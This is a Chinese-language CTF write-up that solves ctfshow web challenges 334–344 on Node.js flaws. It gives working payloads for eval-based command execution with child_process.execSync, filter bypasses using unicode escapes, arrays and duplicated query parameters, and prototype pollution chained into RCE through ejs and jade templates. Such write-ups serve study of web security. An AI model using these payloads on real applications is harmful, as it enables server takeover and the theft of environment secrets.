web334
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
查看findUser函数,使用ctfshow/123456登录即可。
web335
考察nodejs中代码执行eval函数。
参考文章:https://www.anquanke.com/post/id/237032
使用exec函数没有回显,这里使用execSync函数
payload
?eval=require("child_process").execSync("env");
web336
对eval参数进行了过滤
使用unicode编码绕过
payload
?eval=require("child_process").exe\u0063Sync("env");
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
要让a!==b,但是md5(a+flag)===md5(b+flag)
这里利用js的弱类型,使用数组绕过
payload
?a[]=1&b[]=1
web338
考察js的原型链污染,参考文章:https://xz.aliyun.com/t/12383
原型链污染就是 我们控制私有属性(proto)指向的原型对象(prototype), 将其的属性产生变更 那么所继承她的对象 也会拥有这个属性
login.js
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
使用copy处存在原型链污染
payload
{
"__proto__":
{"ctfshow":"36dboy"}
}
web339
api.js中query函数不存在,利用变量覆盖,控制函数。
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('env')"}}
web340
需要两层来获取prototype
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('env')"}}}
web341
利用模板渲染进行命令执行
这里使用了ejs模板
参考文章:
https://www.anquanke.com/post/id/236354#h2-3
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('env');","compileDebug":true}}}
web342
web343
jade模板
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('env');//"}}}
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了,
,正常的payload被拦截。
?query={"name":"admin","password":"ctfshow","isVIP",true}
node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析.
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}